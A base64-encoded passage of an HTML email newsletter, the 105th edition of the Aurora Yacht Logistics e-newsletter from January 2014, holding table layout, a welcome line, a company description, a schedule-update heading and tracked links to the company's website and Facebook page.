ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0iYm90dG9tIiBzdHlsZT0ibGluZS1oZWlnaHQ6IDA7 Ij4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJib3R0 b20iIHN0eWxlPSJsaW5lLWhlaWdodDogMDsiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0ZCB2YWxpZ249ImJvdHRvbSIgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyI+Jm5i c3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0iYm90dG9tIiBz dHlsZT0ibGluZS1oZWlnaHQ6IDA7Ij4mbmJzcDs8aW1nIGFsdD0iIiBzcmM9Imh0dHA6Ly93ZWJz aXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9JbnNlcnQu anBnIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJib3R0b20i IHN0eWxlPSJsaW5lLWhlaWdodDogMDsiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDx0ZCB2YWxpZ249ImJvdHRvbSIgc3R5bGU9ImxpbmUtaGVpZ2h0OiAwOyI+Jm5ic3A7 PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0iYm90dG9tIiBzdHls ZT0ibGluZS1oZWlnaHQ6IDA7Ij4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGQgdmFsaWduPSJib3R0b20iIHN0eWxlPSJsaW5lLWhlaWdodDogMDsiPiZuYnNwOzwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249ImJvdHRvbSIgc3R5bGU9Imxp bmUtaGVpZ2h0OiAwOyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRk IHZhbGlnbj0iYm90dG9tIiBzdHlsZT0ibGluZS1oZWlnaHQ6IDA7Ij4mbmJzcDs8L3RkPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsgcGFk ZGluZy1yaWdodDogMzBweDsgcGFkZGluZy1sZWZ0OiAzMHB4OyI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxz cGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxz cGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxz cGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjQ3MCIgc3R5bGU9InRleHQtYWxpZ246IGp1c3Rp Znk7IiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InBhZGRpbmctdG9wOiA0MHB4OyBwYWRkaW5nLWJv dHRvbTogMTBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGU+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg d2lkdGg9IjMwMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMiBz dHlsZT0ibWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweDsgY29sb3I6IHJnYigyNDksIDEzNywgMjkp OyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNh LHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTRweDsiPlR1ZXNkYXkmbmJzcDsyMSBKYW51YXJ5LCAy MDE0PC9oMj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg0IHN0eWxl PSJjb2xvcjogcmdiKDE5MywgMTkzLCAxOTMpOyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBw YWRkaW5nLWJvdHRvbTogMHB4OyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2Vy aWY7IGZvbnQtc2l6ZTogMTJweDsgbWFyZ2luLXRvcDogNXB4OyBtYXJnaW4tYm90dG9tOiAwcHg7 Ij48L2g0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIHN0eWxl PSJsaW5lLWhlaWdodDogMDsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3cueWFjaHQtdHJhbnNwb3J0 LmNvbS5hdS9yZXNvdXJjZXMvZW1haWwvY29uc3RydWN0cy9saW5lLXRvcC5qcGciPiA8L3RkPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1MCI+PGJy PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8L3Rib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg dmFsaWduPSJ0b3AiIHN0eWxlPSJwYWRkaW5nLWJvdHRvbTogMjBweDsiPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJjb2xvcjogcmdiKDE0NywgMTQ3LCAxNDcpOyBmb250 LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTNweDsiPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0iY29sb3I6IHJnYigxNDcsIDE0Nywg MTQ3KTsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6 IDEzcHg7Ij5XZWxjb21lIHRvIHRoZSAxMDV0aCBlZGl0aW9uIG9mIG91ciBBdXJvcmEgRS1OZXdz bGV0dGVyJm5ic3A7PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0iY29s b3I6IHJnYigxNDcsIDE0NywgMTQ3KTsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5z LXNlcmlmOyBmb250LXNpemU6IDEzcHg7Ij5Gb3IgbW9yZSBpbmZvcm1hdGlvbiBhYm91dCBvdXIg c2VydmljZXMsIHBsZWFzZSB2aXNpdCZuYnNwO291ciA8YSBocmVmPSJodHRwOi8vbWFpbGJhbmsu Y29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjA1YmQ1MDA3MTM5MzM0OTlj YWI2MDE2ZjczNjg0ZTA2YyI+V2Vic2l0ZTwvYT4mbmJzcDthbmQgb3VyIDxhIG9uY2xpY2s9InJl dHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3 Mzc0NCZUPTE0MDQ5NCZVPTU2MGJmMjVlMzk0MTRiYjQyYzBiZWMyZTIzNWU3MDg2Nzk0IiB0YXJn ZXQ9Il9ibGFuayI+PHN0cm9uZz5GYWNlYm9vayBQYWdlPC9zdHJvbmc+PC9hPiBmb3IgbW9yZSBu ZXcsIGxpbmtzIGFuZCBtYXJpbmUgaW5kdXN0cnkgbmV3cy48L3A+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGNv bG9yOiByZ2IoMTQ3LCAxNDcsIDE0Nyk7IGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Esc2Fu cy1zZXJpZjsgZm9udC1zaXplOiAxM3B4OyI+PGEgc3R5bGU9InRleHQtYWxpZ246IGp1c3RpZnk7 IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3Jl ZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjAwYjk0M2NmYmQwYmE0MzA5YWE2OWExMzZk NzAyNGI0NyIgdGFyZ2V0PSJfYmxhbmsiIGJvcmRlcj0iMCI+PGltZyB3aWR0aD0iMTc4IiBoZWln aHQ9IjM5IiBhbGlnbj0iYm90dG9tIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBzb2xpZDsgdGV4dC1h bGlnbjogY2VudGVyOyIgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29t LmF1L3Jlc291cmNlcy9lbWFpbC9idXR0b25zL2ZhY2Vib29rLmpwZyI+PC9hPjwvcD4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCIgc3R5bGU9InBh ZGRpbmctYm90dG9tOiAyMHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxl PSJjb2xvcjogcmdiKDE0NywgMTQ3LCAxNDcpOyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNh LHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTNweDsiPjxzdHJvbmc+QXVyb3JhIFlhY2h0IExvZ2lz dGljcyZuYnNwO2FyZSBBdXN0cmFsaWEncyBsYXJnZXN0Jm5ic3A7SW50ZXJuYXRpb25hbCBZYWNo dCBMb2dpc3RpY3MgY29tcGFueS4gV2UgYXJlJm5ic3A7dGhlIGV4Y2x1c2l2ZSBhZ2VudCBmb3Ig UGV0ZXJzIGFuZCZuYnNwO01heSBHbG9iYWwgQm9hdCBzaGlwcGluZy4gV2UgYXJlIGFsc28gbGlj ZW5zZWQgY3VzdG9tcyBicm9rZXJzIGFuZCBjYW4gYXNzaXN0IHdpbGwgYWxsIGFzcGVjdHMgb2Yg eWFjaHQgdHJhbnNwb3J0IC0mbmJzcDttYXJpbmEgdG8gbWFyaW5hLjwvc3Ryb25nPjwvcD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Ry PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkIHdpZHRoPSI0MjQiIHZhbGlnbj0idG9wIiBzdHlsZT0icGFkZGluZy1ib3R0b206IDIwcHg7 Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBzdHlsZT0i bWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweDsiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNl bGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keT4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249ImJvdHRvbSI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDxoMiBzdHlsZT0ibWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBw eDsgY29sb3I6IHJnYigxMDIsIDEwMiwgMTAyKTsgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsg bGluZS1oZWlnaHQ6IDI1cHg7IGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJp ZjsgZm9udC1zaXplOiAyNXB4OyI+PGEgbmFtZT0ic2NoZWR1bGUiIGlkPSJzY2hlZHVsZSIgc3R5 bGU9Im1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHg7IGNvbG9yOiByZ2IoMTAyLCAxMDIsIDEwMik7 IHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7IGxpbmUtaGVpZ2h0OiAyNXB4OyBmb250LWZhbWls eTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMjJweDsgZm9udC13ZWln aHQ6IG5vcm1hbDsgdmVydGljYWwtYWxpZ246IG1pZGRsZTsiIG9uY2xpY2s9InJldHVybiBmYWxz ZTsiIHRhcmdldD0iYmxhbmsiIGJvcmRlcj0iMCI+U2NoZWR1bGUgVXBkYXRlPC9hPjwvaDI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQiIHZhbGlnbj0iYm90dG9t Ij48YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1 L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjA1ZjVlYzI1NjJkMzY0NGExOTkzYmE2 MjhlNDdjMjBmNSIgdGFyZ2V0PSJfYmxhbmsiIGJvcmRlcj0iMCI+PGltZyB3aWR0aD0iMTYwIiBo ZWlnaHQ9IjMxIiBzdHlsZT0iYm9yZGVyOiAwcHggc29saWQgY3VycmVudENvbG9yOyBib3JkZXIt aW1hZ2U6IG5vbmU7IiBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3LnlhY2h0LXRyYW5zcG9ydC5jb20u YXUvcmVzb3VyY2VzL2VtYWlsL2J1dHRvbnMvcXVvdGUucG5nIj48L2E+PC90ZD4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LWZhbWls eTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxl PSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFu PjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7 Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LWZh bWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjxzcGFuIHN0 eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9z cGFuPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg 